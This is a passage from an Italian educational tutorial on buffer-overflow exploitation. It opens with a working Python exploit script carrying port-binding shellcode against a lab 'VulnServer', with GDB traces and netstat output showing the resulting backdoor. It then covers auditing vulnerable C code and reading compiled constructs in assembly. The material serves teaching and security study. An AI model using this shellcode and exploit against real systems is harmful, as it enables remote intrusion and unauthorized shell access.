0xb7e54290: 0x0804a480 0x00000001 0x0000000d 0xb7fb0560
0xb7e542a0: 0xb7fb4f88 0xb7e54364 0x6557f7c4 0x6d6f636c
0xb7e542b0: 0x6f742065 0x6d657220 0x2065746f 0x76726573
0xb7e542c0: 0x00007265 0x636c6557 0x20656d6f 0x72206f74
0xb7e542d0: 0x746f6d65 0x65732065 0x72657672 0x00000000
L'indirizzo di buffer è poco sotto esp, non sono stati aggiunti molti byte, infatti come vedete
dal sorgente buffer è uno dei primi elementi ad essere allocato. Come ho detto, il fatto di
poter vedere i sorgenti è un bel vantaggio.
E' buona norma non mettere esattamente l'indirizzo preciso, perchè sul sistema remoto non è
detto che le cose siano le medesime.
Come abbiamo già visto le istruzioni NOP vengono inserite apposta per avere una certa
"tolleranza di errore".
Non ci resta che provare.
Arrestiamo il debug.
Ora vedremo come poter inviare il payload sul server. Scrivere un client in C++ apposito per
questo compito non è una grande idea, abbiamo bisogno di poter cambiare agevolmente il nostro
client per poter fare vari tentativi nel caso le cose non volgessero subito per il verso giusto.
La cosa migliore è affidarsi a linguaggi di scripting come perl, ruby o python.
In questo esempio utilizzerò quest'ultimo linguaggio, le cui itruzioni base sono acquisibili in
un paio d'ore.
Il codice python atto a creare la connessione falsificata ed inviare il payload è il seguente:
-------------- script-attack.py ------------
# Script-attack
# Send payload to vulnerable remote server on TCP socket
__author__="Matteo Tosato"
__date__ ="$May 10, 2010 2:01:55 AM$"
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 46 di 193
import sys
import socket
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
# Set ipotetic address (in reverse order)
ADDRESS = "\xe0\x32\xe5\xb7"
NOP = "\x90"
# Configuring code,
# On a remote server I have 768 bytes available.
# Set 56 bytes of nop instructions
buffer = NOP * 64
# PayLoad (port binding shellcode) (176 bytes)
buffer = buffer +
“\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0”\
“\x31\xdb\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0”\
“\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52”\
“\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07\x31\xdb\x89\xd8\x40\xcd”\
“\x80\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50\x52”\
“\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80\x31\xc0”\
“\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f”\
“\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb”\
“\x89\xd8\x40\xcd\x80\x90\x90\x90"
# Set return address (720 bytes)
buffer = buffer + ADDRESS * (512/4)
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect((RHOST, RPORT))
c.send(buffer)
print "Sent!"
c.close()
----------------- script-attack.py END -----------
La variabile ADDRESS deve essere configurata con l'indirizzo da usare per il salto.
Considerando l'indirizzo di buffer che abbiamo visto, dobbiamo decidere il valore da inserire.
Qui si decide l'esito dell'exploit.
Io scelgo di usare il valore 0xb7e542e0
Avviamo il server settando un breakpoint alla riga 130,
root@HackLab:~# gdb VulnServer
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 47 di 193
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) break 130
Breakpoint 1 at 0x8048cae: file main.c, line 130.
(gdb) run 65535
Starting program: /media/MATTEO-1/Hack_environment/Linux/Demonstrations/VulnServer/VulnServer
65535
[Thread debugging using libthread_db enabled]
perfetto, eseguiamo lo script, gdb va a fermarsi sul breakpoint, vediamo lo stato dello stack, e
vediamo il valore di EBP
[New Thread 0xb7e556b0 (LWP 12648)]
[New Thread 0xb7e54b90 (LWP 12658)]
ESP: B7E54284
Send() fail!
[Switching to Thread 0xb7e54b90 (LWP 12658)]
(gdb) x/200 $esp
0xb7e54290: 0x0804a480 0x00000001 0x0000000d 0xb7fb0560
0xb7e542a0: 0xb7fb4f88 0xb7e54364 0x6557f7c4 0x6d6f636c
0xb7e542b0: 0x6f742065 0x6d657220 0x2065746f 0x76726573
0xb7e542c0: 0x00007265 0x636c6557 0x20656d6f 0x72206f74
0xb7e542d0: 0x746f6d65 0x65732065 0x72657672 0x90909090
0xb7e542e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xb7e542f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xb7e54300: 0x90909090 0x02b0c031 0xc08580cd 0xdb310774
0xb7e54310: 0xcd40d889 0x31c93180 0x51db31c0 0x016a066a
0xb7e54320: 0xe189026a 0x66b001b3 0xc18980cd 0xdb31c031
0xb7e54330: 0x66505050 0xb3aaaa68 0x89536602 0x5310b3e2
0xb7e54340: 0x515202b3 0xe189ca89 0x80cd66b0 0xc339db31
0xb7e54350: 0xdb310774 0xcd40d889 0x40c03180 0xe1895250
0xb7e54360: 0x66b004b3 0xc03180cd 0x5050db31 0xb3e18952
0xb7e54370: 0xcd66b005 0x31c38980 0x6ac931c0 0x80cd583f
0xb7e54380: 0x6a41c031 0x80cd583f 0x6a41c031 0x80cd583f
0xb7e54390: 0x2f68c031 0x682f6873 0x6e69622f 0x4388e389
0xb7e543a0: 0x89535007 0x0bb099e1 0xdb3180cd 0xcd40d889
0xb7e543b0: 0x90909080 0xb7e542e0 0xb7e542e0 0xb7e542e0
0xb7e543c0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
0xb7e543d0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
0xb7e543e0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
0xb7e543f0: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
0xb7e54400: 0xb7e542e0 0xb7e542e0 0xb7e542e0 0xb7e542e0
...
(gdb) print $ebp
$1 = (void *) 0xb7e543c8
Dovremmo aver fatto giusto. Come vedete l'indirizzo 0xb7e542e0 punta in mezzo alle istruzioni
NOP. Bene, facciamo proseguire il programma e vediamo che succede.
(gdb) continue
Continuing.
Nessun errore, dovrebbe aver funzionato. Il payload dovrebbe aver eseguito la shell con execve()
sostituendo la nuova immagine di processo a quella del thread del server.
Dovremmo poter vedere un socket in ascolto sulla porta 43690, controlliamo:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 48 di 193
root@HackLab:~# netstat -napt
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:43690 0.0.0.0:* LISTEN 12683/VulnServer << -- backdoor
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN 12674/VulnServer
tcp 0 0 192.168.0.102:65535 192.168.0.102:42907 CLOSE_WAIT 12683/VulnServer
tcp6 0 0 ::1:48385 :::* LISTEN 12574/java
Eccola!
Abbiamo accesso al sistema grazie a VulnServer.
0x0a] L’analisi del codice sorgente
Up
In questo e nei prossimi capitoli approfondiremo ciò che concerne la revisione del codice
sorgente con lo scopo di capire meglio come la sintassi di alto livello viene tradotta in
lingaggio macchina ed essere in grado di riconoscere in questo le vulnerabilità introdotte.
Revisionare direttamente il codice sorgente è sicuramente la cosa più semplice e ideale per
cercare gli errori. Molti software sono open source, tutti possono vederne il codice,
migliorarlo e risolverne i problemi. A mio parere questa è sicuramente un'arma vincente in
quanto permette di trovare e risolvere velocemente i bug delle applicazioni.
Cosa molto più difficile è riconoscere il flusso e gli eventuali errori in un programma già
compilato quindi osservandone il codice macchina.
Molte persone rivedono il codice. Le motivazioni possono essere varie. A volte è necessario
risalire al funzionamento di un programma, altre volte viene fatto per scovare nel codice una
vulnerabilità adatta per permettere l'accesso in un sistema ed altre volte è semplicemente un
hobby.
Affrontiamo il caso più semplice; abbiamo a disposizione il codice sorgente di una applicazione.
Se questo software non è di grosse dimensioni possimo revisionare direttamente il codice senza
l'aiuto di strumenti particolari, come abbiamo fatto nei precedenti esempi.
Essendo codice di alto livello, è fatto per essere capito dall'uomo, quindi è solo una questione
di tempo e di pazienza.
Ma se invece abbiamo di fronte un progetto imponente composto da decine e decine di pagine di
codice è impensabile riuscire a comprenderlo in modo completo. In nostro aiuto ci sono strumenti
per "navigare" il codice di alto livello, un'esempio di questi è Cscope o Cbrowser.
Immaginiamo di dover modificare il kenel di linux, bè questi strumenti offrono un punto di
partenza più vantaggioso che farlo con normali editor di testo.
Un'altra categoria di strumenti molto più sofisticata è in grado di ricercare all'interno del
codice eventuali bug. C'è da dire che questi strumenti non possono essere in grado di trovare
nuovi bug, ma solamente cercare, in base ad un database di bug conosciuti, errori classici.
Pertanto nulla può sostituire l'attività di auditing tradizionale manuale compiuta da un
esperto.
Sempre rimanendo nel caso della revisione di codice sorgente, della famiglia del C, introduciamo
tre tipi di approcci possibili, nonchè quelli più utilizzati. Il primo di questi è indicato come
Top-Down. Questo non impone all'auditor di arrivare a capire in profondità il funzionamento del
programma. Per esempio viene ricercata all'interno del sorgente una specifica vulnerabilità.
Questo tipo di approccio è sicuramente veloce in confronto alle altre metodologie. I problemi
scovabili con questo metodo saranno però quelli più plateali, che possono essere presenti su una
sola riga di codice.
Il secondo metodo è descritto come bottom-up. L'auditor dovrà arrivare ad avere una profonda
conoscenza del programma, leggendo tutto o quasi il codice che lo compone. L'approccio bottom-up
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 49 di 193
parte con l'indagine di main e si diramerà verso tutti gli altri sorgenti. Attraverso questo
tipo di indagine è possibile riconoscere i problemi intrinsechi del programma ed i più
complessi.
Il terzo metodo ritenuto alla fine il migliore, è una via di mezzo tra queste due appena
descritte. Che unisce la velocità del primo alla meticolosità dell'ultimo, ottenendo infine una
metodologia accettabile come tempo e come probabilità di successo.
Vulnerabilità comuni e non...
Le prime vulnerabilità scoperte e sfruttate sono quelle ancora oggi più pericolose.
Nel networking il linguaggio di programmazione maggiormente utilizzato è sicuramente il C ed il
C++, questi sono i linguaggi principali per lo sviluppo di applicazioni server. Di questo
linguaggio vi sono una serie di funzioni dette "pericolose", il loro utilizzo viene oggi
sconsigliato.
Sono tutte o quasi funzioni che lavorano con le stringhe. Come abbiamo accennato, alcune sono
strcpy(), strcat(), gets() ecc... e si occupano di copiare dati da un stringa sorgente ad una
stringa destinazione.
Queste funzioni non effettuano alcun controllo sulle dimensioni delle stringhe ricevute rispetto
alle dimensioni della stringa dove i dati verranno copiati. La sintassi di queste funzioni è per
lo più simile alla seguente:
function_string_copy(ptr string destination, ptr string source) Nello scrivere la sintassi ho
voluto mettere in luce una cosa. I due argomenti sono due puntatori alle rispettive stringhe.
Pertanto la funzione non è per nulla cosciente della lunghezza delle stringhe, essa si limiterà
a copiare i dati dalla sorgente alla destinazione fino a che non incontra un carattere nullo,
che segnala la fine della stringa.
Le stringhe ricevute in input dalla funzione (ptr string source) avranno una struttura del tipo:
"text\0". Tutte dovranno finire con \0 per segnalare alla funzione di copia la fine della
stringa.
Ora vedremo alcuni esempi di codice sorgente in C i quali contengono errori che permettono
operazioni di questo tipo. Evitando gli esempi più banali, Immaginiamo il seguente spezzone di
codice:
....
char dest_buf[256];
char not_term_buf[256];
strncpy(not_term_buf,input,sizeof(not_term_buf));
strcpy(dest_buf,not_term_buf);
...
Anche se apparentemente strncpy() controlla la dimensione del buffer di destinazione e non copia
più di 256 byte, il rischio rimane. Rimane perchè strncpy non inserisce un carattere nullo alla
fine della copia, pertanto se input è lungo 256 byte senza un terminatore nullo la funzione
strcpy() seguente non conosce la dimensione di not_term_buf e copierà fino a che non trova un
carattere nullo.
Per risolvere questa vulnerabilità è sufficiente inserire tra le due funzioni una riga di questo
tipo:
not_term_buf[sizeof(not_term_buf) - 1] = 0;
Riconoscere la vulnerabilità non è stato un compito poi così arduo in questo caso.
Un altro punto in cui è molto frequente trovare errori di progettazione è proprio la dove vi è
un controllo. Molto spesso vi sono dei cicli il cui compito è quello di verificare dimensioni e
formati dei dati.
La dove vi è un input esterno c'è sempre un'altissima probabilità di trovarne. Questo perchè
l'input può essere di qualsiasi formato e lunghezza.
Un buon controllo deve tenere in considerazione tutte i casi possibili.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 50 di 193
Quello che vedremo ora è codice vulnerabile preso da una versione di snort:
while(index < end)
{
/* get the fragment length (31 bits) and move the pointer to the start of the actual data */
hdrptr = (int *) index;
length = (int)(*hdrptr & 0x7FFFFFFF);
if(length > size)
{
DebugMessage(DEBUG_FLOW, “WARNING: rpc_decode calculated bad“
“length: %d\n”, length);
return;
}
else
{
total_len += length;
index += 4;
for (i=0; i < length; i++,rpc++,index++,hdrptr++)
*rpc = *index;
}
}
l'intento sarebbe quello di riassemblare frammenti RPC rimovendo l'header del protocollo RPC. Il
buffer per l'output è lo stesso usato per l'input ed è referenziato con index e rpc. total_len
rappresenta la dimensione dei dati scritti nel buffer. size dovrebbe invece essere la dimensione
dei dati del pacchetto in totale.
Il problema sta nel controllo sulla lunghezza del frammento RPC corrente con la lunghezza totale
dei dati. Il controllo è presente ma non è sufficiente. Il modo giusto di procedere sarebbe
invece controllare la dimensione di tutti i frammenti RPC con la dimensione del buffer di
output.
Un'altro esempio di stringa non terminata con '\0'
...
char npath[MAXPATHLEN];
int i;
for (i = 0; *name != ‘\0’ && i < sizeof(npath) - 1; i++, name++)
{
npath[i] = *name;
if (*name == ‘“‘)
npath[++i] = ‘“‘;
}
npath[i] = ‘\0’;
...
La condizione del for si basa sull'occorrenza del carattere nullo '\0' per copiare da un buffer
ad un altro.
All'interno del ciclo for per mezzo del carattere virgolette si tenta di riservare spazio per il
carattere nullo.
Ma se tale carattere si trova in ultima posizione, il carattere nullo verrebbe scritto fuori dal
buffer.
Il problema delle stringhe non terminate con il carattere nullo pone nella situazione del primo
esempio visto.
Quando la stringa viene posizionata nello stack e trattata con la famiglia di funzioni viste
sopra, risulta impossibile calcolarne la lughezza.
Un problema molto grave e molto presente oggi nelle applicazioni è quello relativo al confronto
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 51 di 193
di valori con segno.
Prima di affrontarlo riepiloghiamo il modo con il quale i dati vengono rappresentati in
informatica e cosa dice la definizione del linguaggio C per quanto riguarda variabili con segno
o senza.
In informatica i numeri negativi sono memorizati in comlemento a 2. Il primo bit identifica il
segno. Se tutti i restanti bit saranno inverititi ed il numero è negativo. Un tipo int avrà
quindi a disposizione 15 bit per il valore ed uno riservato al segno.
Pertanto il range dei possibili valori sarà -32767 e +32767.
Cosa ben diversa succede quando si ha a che fare con un tipo unsigned. Questo avrà a
disposizione 16 bit. Quindi il range sarà completamente diverso, 0 e +65535.
Questa sottigliezza viene spesso trascurata dal punto di vista della programmazione. Se i tipi
vengono usati in modo improprio durante i controlli possono generare grossi problemi. Vediamone
un esempio, (discovered in 2002 by Mark Litchfield of NGSSoftware.)
len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
len_read = ap_bread(r->connection->client, buffer, len_to_read);
I tipi dei dati sono i seguenti:
signed int bufsiz
signed off_t r->remaining
La prima riga assegna a len_to_read la variabile minore tra bufsiz e r->remaining entrambe con
segno.
Nel caso in cui r->remaining è negativo a len_read verrebbe passato un valore negativo. Come si
intuisce dagli argomenti, la funzione ap_bread() eseguirà una copia in stile memcpy(), quindi il
valore negativo sarà interpretato come unsigned. Quindi il primo bit di segno diverrà
significativo generando un numero di dimensione molto grande. Ad esempio il numero negativo -14
dopo un cast in unsigned diventa 4294967282.
Le conseguenze sono intuibili.
Possiamo anche dimostrarlo usando printf per la conversione.
void main()
{
// Signed comparison vulnerabilities :O
int a;
a = -14;
printf("Value of signed a is: %d (%X)\n",a,a);
printf("After casting with unsigned has become %u (%X)\n",a,a);
}
root@HackLab:~# cc disasm_4.c -o disasm_4
root@HackLab:~# ./disasm_4
Value of signed a is: -14 (FFFFFFF2)
After casting with unsigned has become 4294967282 (FFFFFFF2)
I numeri a seconda dell'interpretazione assumono valori molto diversi.
La soluzione a questo problema sta nell'usare tutte variabili senza segno.
Esistono vulnerabilità riguardo i numeri interi. Quando una variabile viene incrementata oltre
il suo valore massimo si ha un "integer overflow".
Questa vulnerabilità può essere utilizzata per controllare la quantità di dati copiata in buffer
allocati e permette di eseguire la copia di molti più dati della reale capacità del buffer.
char *buf;
int allocation_size = attacker_defined_size + 16;
buf = malloc(allocation_size);
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 52 di 193
memcpy(buf,input,attacker_defined_size);
attacker_defined_size ha un valore compreso tra -1 e -16. In questo modo il buffer allocato avrà
dimensioni troppo piccole in relazione alla dimensione dei dati in arrivo. Fate caso che
attacker_defined_size è considerato unsigned da memcpy(), questa copia una enorme quantità di
byte in buf.
Altro problema ancora sugli interi sono le conversioni tra tipi differenti, le conseguenze
possono essere diverse e dipendono dai casi. La conversione da un integer più grande ad uno più
piccolo (int to short), può provocare il troncamento dell'int, se questo era con segno può dar
luogo a risultsi imprevedibili sempre causati dalla notazione in complemento a due. La
conversione di un tipo corto in uno più ampio può dar luogo ad analoghi problemi. Si consideri a
tiolo di esempio il valore signed short -1; convertendolo in un unsigned integer avremo un
valore, se vogliamo espresso in bit, di oltre 4 Giga Bytes.
L'esempio:
void main()
{
short source = -1;
unsigned int destination;
destination = source;
printf("Source: %X\nDestination: %X\n",source,destination);
printf("Decimal notation:\n");
printf("Source: %d\nDestination: %u\n",source,destination);
}
root@HackLab:~# cc disasm_5.c -o disasm_5
disasm_5.c: In function 'main':
disasm_5.c:7: warning: incompatible implicit declaration of built-in function 'printf'
disasm_5.c:2: warning: return type of 'main' is not 'int'
root@HackLab:~# ./disasm_5
Source: FFFFFFFF
Destination: FFFFFFFF
Decimal notation:
Source: -1
Destination: 4294967295
Purtroppo nel C e C++ la conversione tra interi short int, con e senza segno puù risultare
complicata e fonte di errori.
Vi sono altre vulnerabilità, anche se meno diffuse di quelle appena viste, che convolgono le
variabili non inizializzate, altre che riguardano le variabili dal contenuto indefinito.
Quest'ultimo tipo di problemi è piuttosto difficile da sfruttare perchè occorre prevedere quali
dati sono contenuti nello stack o nello heap al momento dell'utilizzo. Questi dati sono ciò che
è rimasto da un'attività precedente in memoria.
Un esempio poterbbe essere il seguente:
int vuln_fn(char *data,int some_int) {
char *test;
if(data) {
test = malloc(strlen(data) + 1);
strcpy(test,data);
some_function(test);
}
if(some_int < 0) {
free(test);
return -1;
}
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 53 di 193
free(test);
return 0;
}
Se data è NULL test non viene inizializzato e, al momento del passaggio alla funzione
successiva, contiene dati indefiniti.
0x0b] Analisi tramite reverse engineering
Up
Quando non si hanno a disposizione i sorgenti, è necessario revisionare il codice compilato.
Diventa di importanza fondamentale la conoscenza dell'assembly e, soprattutto, dobbiamo studiare
come le istruzioni di linguaggio superiore vengono tradotte in linguaggio macchina.
Uno dei problemi di questa pratica è che le istruzioni generate dopo la compilazione variano a
seconda del compilatore e linguaggio utilizzato.
Ora cercheremo di parlare dei costrutti tipici nel modo più generale possibile.
- Stack frames
Lo stack frames è una parte dello stack dedicata alla funzione, entro il quale vengono allocate
variabili locali e argomenti.
Il più comune layout di stack frames per una funzione è quando il registro "frame pointer" EBP
viene usato come puntatore costante allo stack frame precedente.
Il frame pointer è anche una locazione costante relativa a dove la funzione accede ai suoi
argomenti e variabili locali.
Il prologo per una funzione che usa uno stack frame tradizionale è il seguente:
push ebp // Salva il vecchio frame pointer nello stack
mov ebp, esp // Setta il nuovo frame pointer in ESP
sub esp, 5ch // Riserva spazio per le variabili locali
Quindi rispetto ad EBP avremo le variabili locali allocate ad un offset negativo. Mentre gli
argomenti delle funzioni sono localizzate ad un offset positivo.
Il primo argomento della funzione sarà localizzato a EBP+8. Generalmente i disassemblatori
(facciamo rif. a IDA Pro) sostituiscono 8 con una variabile, ad esempio scriveranno EBP+arg_0.
Molto del codice generato da compilatori come quelli di Visual C++ e gcc utilizzano questo
layout.
- Convenzioni di chiamata
Esistono due metodi principali per chiamare una funzione, "C calling convention" e "stdcall
calling convention".
la prima non è riferita solamente al codice C ma è un modo per passare argomenti e rispristinare
lo stack del programma. Con questo tipo di convenzione gli argomenti della funzione sono
inseriti nello stack come essi appaiono nel codice sorgente, quindi:
some_function(some_pointer,some_integer);
diventa in assembly:
push some_integer
push some_pointer
call some_function
add esp, 8
Siccome vi sono due argomenti da 4 byte per la funzione, al suo ritorno lo stack pointer viene
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 54 di 193
ripristinato di 8 bytes. Un'altro sistema per rispristinare lo stack pointer sarebbe farlo 4
byte per volta per mezzo di due pop.
Il secondo tipo di convenzione comunemente presente nel codice C e C++ è stdcall. L'ordine di
passaggio degli argomenti è lo stesso appena visto. Ciò che cambia è il tipo di ritorno dalla
funzione, che sarà RET 0ch ad esempio per rialsciare 12 bytes dallo stack.
- General Layout
Prima di vedere i costrutti classici della programmazione strutturata, vediamo i layout generali
per la struttura di una funzione. Questi sono spesso variabili. La funzione inizierà nella
maggior parte dei casi con un prologo e finirà con un epilogo. Il prologo lo abbiamo già visto
parlando dello stack frame.
Una funzione non ritornerà sempre per mezzo di una istruzione RET, il compilatore può
ottimizzare il codice inserendo una istruzione JMP verso una lcoazione di memoria precedente
alla chiamata. Un compilatore che genera invece dei layout non usuali è MSVC++.
Questo usa degli algoritmi euristici i quali prevedono quali funzioni saranno più frequentemente
usate piuttosto di altre, date queste informazioni sistemerà le funzioni più utilizzate vicine
creando un unico flusso di programma ed invece sistemerà quelle meno utilizzate in locazioni di
memoria lontanta dalla principale.
- if statment
Il costrutto if è sicuramente uno dei più diffusi costrutti decisionali. Generalmente questo è
definibile in assembly con una istruzione di confronto come CMP ed un salto condizionato subito
di seguito.
Ad esempio:
int some_int;
if(some_int != 32)
some_int = 32;
Una volta compilato, questo frammento di codice diventa:
mov eax, [ebp-4] // Muove il puntatore alla variabile some_int in EAX
cmp eax, 32 // Esegue un confrono tra EAX e il vlaore 32
jnz past_next_instructions // Esegue un salto condizionato dal risultato di una operazione
aritmetico-logica tra numeri senza segno
mov eax, 32 // Se il salto non avviene la variabile a cui punta EAX viene
settata con 32
- Cicli for e while
Il tipo di ciclo a livello di assembly non è facilmente distinguibile. Questo non importa. I
cicli sono spesso gli elementi chiave di tutta l'operazione di auditing del codice.
Essi sono caratterizzati solitamente da porzioni di codice ripetute.
Esempio:
char *ptr, *output, *outputend;
while(*ptr)
{
*output++ = *ptr++;
if(output >= outputend)
break;
}
diamo per assunto che nella funzione le variabili sono riposte nei registri nel modo seguente:
ECX = ptr; EDX = output; EBP+8 = outputend
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 55 di 193
mov al, [ecx] // Muove nella parte bassa di AL ptr
test al, al // Simula una AND per verificare se *ptr = 0
jz loop_end // Se *ptr = 0 il loop termina
mov [edx], al // Prima setta *output al valore di *ptr
inc ecx // icrementa *ptr
inc edx // icrementa *output
cmp edx, [ebp+8] // Simula una sottrazzione tra ouputend e output
jae loop_end // Se il flag riporto non è settato esce dal loop
jmp loop_begin // Altrimenti prosegue
La costruzione dei cicli non è semplice come per gli if, ma la si trova molto spesso.
- switch statment
I costrutti switch sono piuttosto complessi. Spesso rendono il listato assembly un pò strano e
ostico da capire. Possono essere benissimo strutturati come una serie di if statment uno in fila
all'altro.
int some_int,other_int;
switch(some_int) {
case 0:
other_int = 0;
break;
case 1:
other_int = 10;
break;
case 2:
other_int = 30;
break;
default:
other_int = 50;
break;
}
Molto spesso i decompilatori efficenti come IDA riconoscono questa serie di if e inseriscono la
rappresentazione dell'iterazione switch:
some_int = eax, other_int = ebx
cmp eax, 2
ja default_case
jmp switch_jmp_table[eax*4];
case_0:
xor ebx, ebx
jmp end_switch
case_1:
mov ebx, 10
jmp end_switch
case 2:
mov ebx, 30
jmp end_switch
default_case:
mov ebx, 50
end_switch:
- memcpy()-like constructs
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 56 di 193
Nei compilatori moderni la funzione memcpy() non viene tradotta (come ci si aspetterebbe) in una
chiamata ad una libreria standard del C.
Nella maggior parte dei casi, l'operazione di copia viene ottimizzata dal compilatore con una
sequenza di istruzini, queste sono molto più veloci rispetto a dover effettuare una call.
Una sequenza di istruzioni atta a copiare un'area di memoria in un'altra è la seguente:
mov esi, source_address // In esi c'è il puntatore al buffer sorgente
mov ebx, ecx // In ECX si trova la lunghezza della stringa
shr ecx, 2 // Viene divisa per 4
mov edi, eax // Destinazione in EAX
repe movsd // Questa istruzione copia aree di 4 byte alla volta (movsd) ECX volte
(repe)
mov ecx, ebx // Muove EBX in ECX
and ecx, 3 // Divide per 8
repe movsb // Infatti movsb copia gli 8 bit restanti
La funzione memset() ha un costrutto circa identico, ma avrebbe utilizzato l'istruzione repe
closd.
- strlen()-like constructs
Anche la funzione strlen() viene ottimizzata dal compilatore con una serie di funzioni.
All'inizio può sembrare ostica da capire.
Generalmente è definita con le seguenti istruzioni:
mov edi, string // L'indirizzo della stringa viene spostato in EDI
or ecx, 0xffffffff //
xor eax, eax // Viene azzerato EAX
repne scasb // Questa istruzione, fa avanzare EDI fino al carattere successivo al
carattere nullo
not ecx // Qui ECX viene cambiato di segno
dec ecx // e poi decrementato per ottenere la effettiva lunghezza della stringa
Questi costrutti sono largamente utilizzati.
I costrutti appena visti sono relativi al linguaggio C. Oltre al C anche il C++ è largamente
utilizzato nella progettazione di applicativi server.
I costrutti del C++ sono simili a quelli del C, ma ne vengono introdotti alcuni di nuovi.
- Il puntatore this
Il puntatore this rappresenta l'istanza di una classe. Quando si usa un membro di una classe, il
puntatore this deve essere passato alla funzione come primo argomento. Solitamente avviene in
modo implicito. Nel sorgente assembly non dovremo specificarlo come argomento. Questo sarà
autoamticamente passato e utilizzabile all'interno della funzione.
Quando il codice sorgente viene tradotto, il puntatore this appare. Solitamente prima della
chiamata alla funzione il puntatore viene passato attraverso il registro ECX. Le seguenti
istruzioni sono un esempio:
push edi
push esi
push [ebp+arg_0]
lea ecx, [ebx+5Ch] // Il puntatore viene messo in ECX prima
della call
call ?ParseInput@HTTP_HEADERS@@QAEHPBDKPAK@Z
Siccome il registro ECX è di tipo volatile, la funzione sistemerà il puntatore in un'altro
registro durante l'esecuzione.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 57 di 193
- Construtti di classe
I construtti delle classi sono piuttosto complessi. Il modo più semplice di procedere è cercare
il costruttore ed il distruttore della classe.
Generalmente il costruttore è una funzione ove non ci sono iterazioni condizionali, ma solo una
serie di istruzioni per l'allocazione di variabili. Il distruttore, a sua volta, è una funzione
che tipicamente libera semplicemente la memoria allocata precedentemente dal costruttore.
- Vtables virtual function
Queste chiamate sono presenti solitamente nei costruttori e rendono l'operazione di auditing
molto complicata.
Le istruzioni tipiche che si trovano sono:
mov eax, [esi] // Puntatore this in EAX
lea ecx, [ebp+var_8]
push ebx
push ecx
mov ecx, esi
push [ebp+arg_0]
push [ebp+var_4]
call dword ptr [eax+24h] // Chiamata
In ESI è contenuto il puntatore this, alcune funzioni sono chiamate da vtable. Per scoprire dove
va questa funzione dobbiamo conoscere la struttura di vtable. Questa è solitamente presente nel
costruttore della classe. Ad esempio il seguente codice si può trovare nel costruttore:
mov dword ptr [esi], offset vtable
Dopo aver visto tutti i costrutti principali, ricordo che abbiamo affrontato il caso peggiore,
ovvero della compilazine di sorgenti in C e C++ mentre come già detto, la compilazione di
sorgneti in linguaggi come Visual Basic produce un assembly più facile da capire.
Infine vediamo alcune normi importanti da ricordare mentre si esegue l'auditing del codice:
+ Il registro utilizzato per il valore di ritorno di una funzione è sempre EAX.
+ Le istruzioni di salto delle famiglie JL/JG sono usate dopo confronti di variabili con segno.
+ Le istruzioni di salto delle famiglie JB/JA sono usate dopo confronti di variabili senza
segno.
+ MOVSX estende il valore del registro di destinazione da 8 a 16 oda 16 a 32 mettendo degli 0 o
1 a seconda del segno
Nonostante i nostri sforzi per comprendere il flusso ed i costrutti presenti nel programma
osservato, può accadere che la ricostruzione eseguita dal disassemblatore non sia
sufficientemente chiara per ritrovare gli esempi fatti fino ad ora. In questo caso è meglio
ricorrere all'approccio più elementare, ovvero passare all'analisi diretta delle syscall ove è
più probabile trovare i problemi. Come già detto, generalmente queste funzioni sono strcpy(),
strcat(), sprintf() e derivate. In più su windows esistono tutta una serie di funzioni molto
simili a queste che differiscono leggermente come nome, tutte devono essere monitorate.
Un'altra comune vulnerabilità di windows è quella dovuta al sesto argomento della funzione
MultiByteToWideChar. Per capire meglio vediamone la sintassi:
int MultiByteToWideChar(uCodePage, dwFlags, lpMultiByteStr,
